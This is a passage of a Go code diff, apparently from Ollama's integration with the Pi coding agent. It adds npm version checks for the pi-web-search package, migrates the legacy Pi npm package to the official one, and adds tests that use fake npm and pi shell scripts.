fmt.Fprintf(os.Stderr, "%sUpdating %s...%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
cmd := exec.Command(bin, "update", piWebSearchSource)
|
||||
cmd.Stdout = os.Stdout
|
||||
@@ -129,7 +395,7 @@ func ensurePiWebSearchPackage(bin string) {
|
||||
fmt.Fprintf(os.Stderr, "%s ✓ Updated %s%s\n", ansiGreen, piWebSearchPkg, ansiReset)
|
||||
}
|
||||
|
||||
func shouldManagePiWebSearch() bool {
|
||||
func shouldManageOllamaWebSearch() bool {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return true
|
||||
@@ -142,25 +408,108 @@ func shouldManagePiWebSearch() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func piPackageInstalled(bin, source string) (bool, error) {
|
||||
type piPackageListEntry struct {
|
||||
installed bool
|
||||
installedPath string
|
||||
}
|
||||
|
||||
func piPackageInfo(bin, source string) (piPackageListEntry, error) {
|
||||
cmd := exec.Command(bin, "list")
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return false, err
|
||||
return piPackageListEntry{}, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
return piPackageListEntry{}, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
lines := strings.Split(string(out), "\n")
|
||||
for i, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if strings.HasPrefix(trimmed, source) {
|
||||
return true, nil
|
||||
return piPackageListEntry{installed: true, installedPath: piPackageListInstalledPath(lines[i+1:])}, nil
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil
|
||||
return piPackageListEntry{}, nil
|
||||
}
|
||||
|
||||
func piPackageListInstalledPath(lines []string) string {
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(trimmed, "npm:") || strings.HasPrefix(trimmed, "git:") || strings.HasSuffix(trimmed, ":") {
|
||||
return ""
|
||||
}
|
||||
if filepath.IsAbs(trimmed) {
|
||||
return trimmed
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func piWebSearchUpdateAvailable(installedPath string) (bool, error) {
|
||||
if piOfflineModeEnabled() || installedPath == "" {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
installedVersion, err := npmInstalledPackageVersion(installedPath)
|
||||
if err != nil || installedVersion == "" {
|
||||
return false, err
|
||||
}
|
||||
|
||||
latestVersion, err := npmLatestPackageVersion(piWebSearchPkg)
|
||||
if err != nil || latestVersion == "" {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return latestVersion != installedVersion, nil
|
||||
}
|
||||
|
||||
func piOfflineModeEnabled() bool {
|
||||
value := os.Getenv("PI_OFFLINE")
|
||||
return value == "1" || strings.EqualFold(value, "true") || strings.EqualFold(value, "yes")
|
||||
}
|
||||
|
||||
func npmInstalledPackageVersion(installedPath string) (string, error) {
|
||||
data, err := os.ReadFile(filepath.Join(installedPath, "package.json"))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var payload struct {
|
||||
Version string `json:"version"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &payload); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return payload.Version, nil
|
||||
}
|
||||
|
||||
func npmLatestPackageVersion(pkg string) (string, error) {
|
||||
client := http.Client{Timeout: 10 * time.Second}
|
||||
requestURL := strings.TrimRight(npmRegistryBaseURL, "/") + "/" + url.PathEscape(pkg) + "/latest"
|
||||
resp, err := client.Get(requestURL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
||||
return "", fmt.Errorf("npm registry returned %s", resp.Status)
|
||||
}
|
||||
|
||||
var payload struct {
|
||||
Version string `json:"version"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&payload); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return payload.Version, nil
|
||||
}
|
||||
|
||||
func (p *Pi) Paths() []string {
|
||||
|
||||
+522
-11
@@ -8,6 +8,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
@@ -33,6 +34,89 @@ func TestPiIntegration(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestPiInstallSpec_UsesOfficialPackage(t *testing.T) {
|
||||
spec, err := LookupIntegrationSpec("pi")
|
||||
if err != nil {
|
||||
t.Fatalf("LookupIntegrationSpec(pi) error = %v", err)
|
||||
}
|
||||
|
||||
want := []string{"npm", "install", "-g", piNpmPackage + "@latest"}
|
||||
if got := spec.Install.Command; !slices.Equal(got, want) {
|
||||
t.Fatalf("pi install command = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPiNpmPrefixForPackageRoot(t *testing.T) {
|
||||
prefix := filepath.Join(t.TempDir(), "npm-global")
|
||||
t.Run("unix npm global layout", func(t *testing.T) {
|
||||
packageRoot := filepath.Join(prefix, "lib", "node_modules", "@mariozechner", "pi-coding-agent")
|
||||
if got := npmPrefixForPackageRoot(packageRoot); got != prefix {
|
||||
t.Fatalf("npmPrefixForPackageRoot() = %q, want %q", got, prefix)
|
||||
}
|
||||
})
|
||||
tests := []struct {
|
||||
name string
|
||||
goos string
|
||||
separator string
|
||||
packageRoot string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "macos npm global layout",
|
||||
goos: "darwin",
|
||||
separator: "/",
|
||||
packageRoot: "/Users/parth/.npm-global/lib/node_modules/@mariozechner/pi-coding-agent",
|
||||
want: "/Users/parth/.npm-global",
|
||||
},
|
||||
{
|
||||
name: "linux npm global layout",
|
||||
goos: "linux",
|
||||
separator: "/",
|
||||
packageRoot: "/home/parth/.npm-global/lib/node_modules/@mariozechner/pi-coding-agent",
|
||||
want: "/home/parth/.npm-global",
|
||||
},
|
||||
{
|
||||
name: "windows npm global layout",
|
||||
goos: "windows",
|
||||
separator: `\`,
|
||||
packageRoot: `C:\Users\parth\AppData\Roaming\npm\node_modules\@mariozechner\pi-coding-agent`,
|
||||
want: `C:\Users\parth\AppData\Roaming\npm`,
|
||||
},
|
||||
{
|
||||
name: "windows lib npm global layout",
|
||||
goos: "windows",
|
||||
separator: `\`,
|
||||
packageRoot: `C:\Users\parth\.npm-global\lib\node_modules\@mariozechner\pi-coding-agent`,
|
||||
want: `C:\Users\parth\.npm-global`,
|
||||
},
|
||||
{
|
||||
name: "non-windows direct node_modules layout",
|
||||
goos: "linux",
|
||||
separator: "/",
|
||||
packageRoot: "/home/parth/.npm-global/node_modules/@mariozechner/pi-coding-agent",
|
||||
want: "",
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := npmPrefixForPackageRootForGOOS(tt.packageRoot, tt.goos, tt.separator)
|
||||
if got != tt.want {
|
||||
t.Fatalf("npmPrefixForPackageRootForGOOS() = %q, want %q", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
t.Run("host windows npm global layout", func(t *testing.T) {
|
||||
packageRoot := filepath.Join(prefix, "node_modules", "@mariozechner", "pi-coding-agent")
|
||||
want := ""
|
||||
if runtime.GOOS == "windows" {
|
||||
want = prefix
|
||||
}
|
||||
if got := npmPrefixForPackageRoot(packageRoot); got != want {
|
||||
t.Fatalf("npmPrefixForPackageRoot() = %q, want %q", got, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestPiRun_InstallAndWebSearchLifecycle(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell test binaries")
|
||||
@@ -75,6 +159,99 @@ exit 0
|
||||
writeScript(t, filepath.Join(dir, "npm"), "#!/bin/sh\nexit 0\n")
|
||||
}
|
||||
|
||||
seedLegacyPiNpm := func(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
npmPath := filepath.Join(dir, "npm")
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
if [ "$1" = "install" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
if [ "$PI_FAIL_OFFICIAL_INSTALL" = "1" ]; then
|
||||
echo "install failed" >&2
|
||||
exit 1
|
||||
fi
|
||||
: > %q
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "uninstall" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
: > %q
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "ls" ] && [ "$2" = "-g" ] && [ "$4" = "--depth=0" ] && [ "$5" = "--json" ]; then
|
||||
if [ "$3" = %q ]; then
|
||||
if [ -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.58.0","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
printf '{"name":"lib"}\n'
|
||||
exit 1
|
||||
fi
|
||||
if [ "$3" = %q ]; then
|
||||
if [ ! -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.57.1","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
printf '{"name":"lib"}\n'
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
exit 0
|
||||
`, filepath.Join(dir, "npm.log"), piNpmPackage+"@latest", filepath.Join(dir, "official-installed"), piLegacyNpmPackage, filepath.Join(dir, "legacy-removed"), piNpmPackage, filepath.Join(dir, "official-installed"), piNpmPackage, piLegacyNpmPackage, filepath.Join(dir, "legacy-removed"), piLegacyNpmPackage)
|
||||
writeScript(t, npmPath, npmScript)
|
||||
}
|
||||
|
||||
seedBothPiPackagesNpm := func(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
if err := os.WriteFile(filepath.Join(dir, "official-installed"), nil, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
npmPath := filepath.Join(dir, "npm")
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
if [ "$1" = "install" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
: > %q
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "uninstall" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
: > %q
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "ls" ] && [ "$2" = "-g" ] && [ "$4" = "--depth=0" ] && [ "$5" = "--json" ]; then
|
||||
if [ "$3" = %q ]; then
|
||||
if [ ! -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.57.1","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
printf '{"name":"lib"}\n'
|
||||
exit 1
|
||||
fi
|
||||
if [ "$3" = %q ]; then
|
||||
if [ -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.58.0","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
printf '{"name":"lib"}\n'
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
exit 0
|
||||
`, filepath.Join(dir, "npm.log"), piNpmPackage+"@latest", filepath.Join(dir, "official-installed"), piLegacyNpmPackage, filepath.Join(dir, "legacy-removed"), piLegacyNpmPackage, filepath.Join(dir, "legacy-removed"), piLegacyNpmPackage, piNpmPackage, filepath.Join(dir, "official-installed"), piNpmPackage)
|
||||
writeScript(t, npmPath, npmScript)
|
||||
}
|
||||
|
||||
seedBrokenPiProbeNpm := func(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
npmPath := filepath.Join(dir, "npm")
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
if [ "$1" = "ls" ] && [ "$2" = "-g" ] && [ "$4" = "--depth=0" ] && [ "$5" = "--json" ]; then
|
||||
echo "npm probe failed" >&2
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
`, filepath.Join(dir, "npm.log"))
|
||||
writeScript(t, npmPath, npmScript)
|
||||
}
|
||||
|
||||
withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
|
||||
t.Helper()
|
||||
oldConfirm := DefaultConfirmPrompt
|
||||
@@ -97,13 +274,46 @@ exit 0
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
}
|
||||
|
||||
setNpmRegistryVersion := func(t *testing.T, version string) {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.HasSuffix(r.URL.Path, "/latest") {
|
||||
fmt.Fprintf(w, `{"version":%q}`, version)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
}))
|
||||
oldRegistry := npmRegistryBaseURL
|
||||
npmRegistryBaseURL = srv.URL
|
||||
t.Cleanup(func() {
|
||||
npmRegistryBaseURL = oldRegistry
|
||||
srv.Close()
|
||||
})
|
||||
}
|
||||
|
||||
seedPiWebSearchPackage := func(t *testing.T, dir, version string) {
|
||||
t.Helper()
|
||||
packagePath := filepath.Join(dir, ".npm-global", "lib", "node_modules", "@ollama", "pi-web-search")
|
||||
if err := os.MkdirAll(packagePath, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
packageJSON := fmt.Sprintf(`{"name":%q,"version":%q}`, piWebSearchPkg, version)
|
||||
if err := os.WriteFile(filepath.Join(packagePath, "package.json"), []byte(packageJSON), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
list := fmt.Sprintf("User packages:\n %s\n %s\n", piWebSearchSource, packagePath)
|
||||
if err := os.WriteFile(filepath.Join(dir, "pi-list.txt"), []byte(list), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
t.Run("pi missing + user accepts install", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "pi-list.txt"), []byte("User packages:\n npm:@ollama/pi-web-search\n"), 0o644); err != nil {
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "pi-list.txt"), []byte("User packages:\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -128,7 +338,7 @@ exit 0
|
||||
writeScript(t, filepath.Join(tmpDir, "npm"), npmScript)
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
if strings.Contains(prompt, "Pi is not installed.") {
|
||||
if strings.Contains(prompt, "Install Pi with npm?") {
|
||||
return true, nil
|
||||
}
|
||||
return true, nil
|
||||
@@ -136,7 +346,8 @@ exit 0
|
||||
|
||||
p := &Pi{}
|
||||
if err := p.Run("ignored", nil, []string{"--version"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
npmCalls, _ := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
t.Fatalf("Run() error = %v\nnpm calls:\n%s", err, npmCalls)
|
||||
}
|
||||
|
||||
npmCalls, err := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
@@ -155,8 +366,8 @@ exit 0
|
||||
if !strings.Contains(got, "list\n") {
|
||||
t.Fatalf("expected pi list call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "update "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("expected pi update call, got:\n%s", got)
|
||||
if !strings.Contains(got, "install "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("expected pi web search install call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--version\n") {
|
||||
t.Fatalf("expected final pi launch call, got:\n%s", got)
|
||||
@@ -171,7 +382,7 @@ exit 0
|
||||
writeScript(t, filepath.Join(tmpDir, "npm"), "#!/bin/sh\nexit 0\n")
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
if strings.Contains(prompt, "Pi is not installed.") {
|
||||
if strings.Contains(prompt, "Install Pi with npm?") {
|
||||
return false, nil
|
||||
}
|
||||
return true, nil
|
||||
@@ -184,6 +395,277 @@ exit 0
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("legacy pi package migrates automatically to official package", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.0")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedLegacyPiNpm(t, tmpDir)
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect confirmation prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
p := &Pi{}
|
||||
if err := p.Run("ignored", nil, []string{"--version"}); err != nil {
|
||||
npmCalls, _ := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
t.Fatalf("Run() error = %v\nnpm calls:\n%s", err, npmCalls)
|
||||
}
|
||||
|
||||
npmCalls, err := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotNPM := string(npmCalls)
|
||||
if !strings.Contains(gotNPM, "ls -g "+piLegacyNpmPackage+" --depth=0 --json\n") {
|
||||
t.Fatalf("expected legacy npm probe, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "install -g "+piNpmPackage+"@latest --force\n") {
|
||||
t.Fatalf("expected forced official npm install call, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "ls -g "+piNpmPackage+" --depth=0 --json\n") {
|
||||
t.Fatalf("expected official npm verification probe, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "uninstall -g "+piLegacyNpmPackage+"\n") {
|
||||
t.Fatalf("expected legacy npm uninstall call, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "install -g "+piNpmPackage+"@latest\n") {
|
||||
t.Fatalf("expected official npm install call, got:\n%s", gotNPM)
|
||||
}
|
||||
if strings.Index(gotNPM, "install -g "+piNpmPackage+"@latest --force\n") > strings.Index(gotNPM, "uninstall -g "+piLegacyNpmPackage+"\n") {
|
||||
t.Fatalf("expected official install before legacy uninstall, got:\n%s", gotNPM)
|
||||
}
|
||||
if strings.Index(gotNPM, "uninstall -g "+piLegacyNpmPackage+"\n") > strings.LastIndex(gotNPM, "install -g "+piNpmPackage+"@latest\n") {
|
||||
t.Fatalf("expected official repair install after legacy uninstall, got:\n%s", gotNPM)
|
||||
}
|
||||
|
||||
piCalls, err := os.ReadFile(filepath.Join(tmpDir, "pi.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotPi := string(piCalls)
|
||||
if strings.Contains(gotPi, "update "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("did not expect pi update call when web search is current, got:\n%s", gotPi)
|
||||
}
|
||||
if !strings.Contains(gotPi, "--version\n") {
|
||||
t.Fatalf("expected final pi launch call, got:\n%s", gotPi)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("legacy pi package migrates even when official package is also installed", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.0")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedBothPiPackagesNpm(t, tmpDir)
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect confirmation prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
p := &Pi{}
|
||||
if err := p.Run("ignored", nil, []string{"--version"}); err != nil {
|
||||
npmCalls, _ := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
t.Fatalf("Run() error = %v\nnpm calls:\n%s", err, npmCalls)
|
||||
}
|
||||
|
||||
npmCalls, err := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotNPM := string(npmCalls)
|
||||
if !strings.Contains(gotNPM, "ls -g "+piLegacyNpmPackage+" --depth=0 --json\n") {
|
||||
t.Fatalf("expected legacy npm probe, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "install -g "+piNpmPackage+"@latest --force\n") {
|
||||
t.Fatalf("expected forced official npm install call, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "ls -g "+piNpmPackage+" --depth=0 --json\n") {
|
||||
t.Fatalf("expected official npm verification probe, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "uninstall -g "+piLegacyNpmPackage+"\n") {
|
||||
t.Fatalf("expected legacy npm uninstall call, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "install -g "+piNpmPackage+"@latest\n") {
|
||||
t.Fatalf("expected official npm install call, got:\n%s", gotNPM)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("legacy pi package outside current npm prefix migrates with binary prefix", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
|
||||
commandDir := filepath.Join(tmpDir, "commands")
|
||||
prefix := filepath.Join(tmpDir, "npm-global")
|
||||
legacyRoot := filepath.Join(prefix, "lib", "node_modules", "@mariozechner", "pi-coding-agent")
|
||||
legacyDist := filepath.Join(legacyRoot, "dist")
|
||||
if err := os.MkdirAll(filepath.Join(prefix, "bin"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(legacyDist, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(legacyRoot, "package.json"), []byte(`{"name":"`+piLegacyNpmPackage+`","version":"0.67.1"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writeScript(t, filepath.Join(legacyDist, "cli.js"), fmt.Sprintf("#!/bin/sh\necho \"$@\" >> %q\nexit 0\n", filepath.Join(tmpDir, "pi.log")))
|
||||
if err := os.Symlink(filepath.Join(legacyDist, "cli.js"), filepath.Join(prefix, "bin", "pi")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
npmScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
prefix=""
|
||||
if [ "$1" = "--prefix" ]; then
|
||||
prefix="$2"
|
||||
shift 2
|
||||
fi
|
||||
if [ "$1" = "install" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
: > %q
|
||||
mkdir -p "$prefix/lib/node_modules/@earendil-works/pi-coding-agent/dist" "$prefix/bin"
|
||||
printf '{"name":"%s","version":"0.75.3"}\n' > "$prefix/lib/node_modules/@earendil-works/pi-coding-agent/package.json"
|
||||
printf '#!/bin/sh\necho "$@" >> %s\nexit 0\n' > "$prefix/lib/node_modules/@earendil-works/pi-coding-agent/dist/cli.js"
|
||||
chmod +x "$prefix/lib/node_modules/@earendil-works/pi-coding-agent/dist/cli.js"
|
||||
ln -sf "$prefix/lib/node_modules/@earendil-works/pi-coding-agent/dist/cli.js" "$prefix/bin/pi"
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "uninstall" ] && [ "$2" = "-g" ] && [ "$3" = %q ]; then
|
||||
: > %q
|
||||
exit 0
|
||||
fi
|
||||
if [ "$1" = "ls" ] && [ "$2" = "-g" ] && [ "$4" = "--depth=0" ] && [ "$5" = "--json" ]; then
|
||||
if [ "$3" = %q ] && [ -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.75.3","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
if [ "$3" = %q ] && [ ! -f %q ]; then
|
||||
printf '{"name":"lib","dependencies":{"%s":{"version":"0.67.1","overridden":false}}}\n'
|
||||
exit 0
|
||||
fi
|
||||
printf '{"name":"lib"}\n'
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
`, filepath.Join(tmpDir, "npm.log"), piNpmPackage+"@latest", filepath.Join(tmpDir, "official-installed"), piNpmPackage, filepath.Join(tmpDir, "pi.log"), piLegacyNpmPackage, filepath.Join(tmpDir, "legacy-removed"), piNpmPackage, filepath.Join(tmpDir, "official-installed"), piNpmPackage, piLegacyNpmPackage, filepath.Join(tmpDir, "legacy-removed"), piLegacyNpmPackage)
|
||||
if err := os.MkdirAll(commandDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writeScript(t, filepath.Join(commandDir, "npm"), npmScript)
|
||||
t.Setenv("PATH", commandDir+string(os.PathListSeparator)+filepath.Join(prefix, "bin"))
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect confirmation prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
p := &Pi{}
|
||||
if err := p.Run("ignored", nil, []string{"--version"}); err != nil {
|
||||
npmCalls, _ := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
t.Fatalf("Run() error = %v\nnpm calls:\n%s", err, npmCalls)
|
||||
}
|
||||
|
||||
npmCalls, err := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotNPM := string(npmCalls)
|
||||
resolvedPrefix, err := filepath.EvalSymlinks(prefix)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "--prefix "+resolvedPrefix+" install -g "+piNpmPackage+"@latest --force\n") {
|
||||
t.Fatalf("expected forced official install in pi binary prefix, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "--prefix "+resolvedPrefix+" uninstall -g "+piLegacyNpmPackage+"\n") {
|
||||
t.Fatalf("expected legacy uninstall in pi binary prefix, got:\n%s", gotNPM)
|
||||
}
|
||||
if !strings.Contains(gotNPM, "--prefix "+resolvedPrefix+" install -g "+piNpmPackage+"@latest\n") {
|
||||
t.Fatalf("expected official repair install in pi binary prefix, got:\n%s", gotNPM)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("legacy pi migration install failure does not remove legacy package", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
t.Setenv("PI_FAIL_OFFICIAL_INSTALL", "1")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedLegacyPiNpm(t, tmpDir)
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect confirmation prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
p := &Pi{}
|
||||
err := p.Run("ignored", nil, nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "failed to install pi") {
|
||||
t.Fatalf("expected install failure error, got %v", err)
|
||||
}
|
||||
|
||||
npmCalls, readErr := os.ReadFile(filepath.Join(tmpDir, "npm.log"))
|
||||
if readErr != nil {
|
||||
t.Fatal(readErr)
|
||||
}
|
||||
gotNPM := string(npmCalls)
|
||||
if !strings.Contains(gotNPM, "install -g "+piNpmPackage+"@latest --force\n") {
|
||||
t.Fatalf("expected forced official npm install call, got:\n%s", gotNPM)
|
||||
}
|
||||
if strings.Contains(gotNPM, "uninstall -g "+piLegacyNpmPackage+"\n") {
|
||||
t.Fatalf("did not expect legacy uninstall after official install failure, got:\n%s", gotNPM)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("pi installed + package probe failure warns and still launches", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.0")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedBrokenPiProbeNpm(t, tmpDir)
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect confirmation prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
p := &Pi{}
|
||||
stderr := captureStderr(t, func() {
|
||||
if err := p.Run("ignored", nil, []string{"--version"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
})
|
||||
if !strings.Contains(stderr, "Could not verify which Pi package is installed") {
|
||||
t.Fatalf("expected package probe warning, got:\n%s", stderr)
|
||||
}
|
||||
if !strings.Contains(stderr, "npm uninstall -g "+piLegacyNpmPackage) {
|
||||
t.Fatalf("expected manual migration steps in warning, got:\n%s", stderr)
|
||||
}
|
||||
|
||||
piCalls, err := os.ReadFile(filepath.Join(tmpDir, "pi.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gotPi := string(piCalls)
|
||||
if strings.Contains(gotPi, "update "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("did not expect pi update call when web search is current, got:\n%s", gotPi)
|
||||
}
|
||||
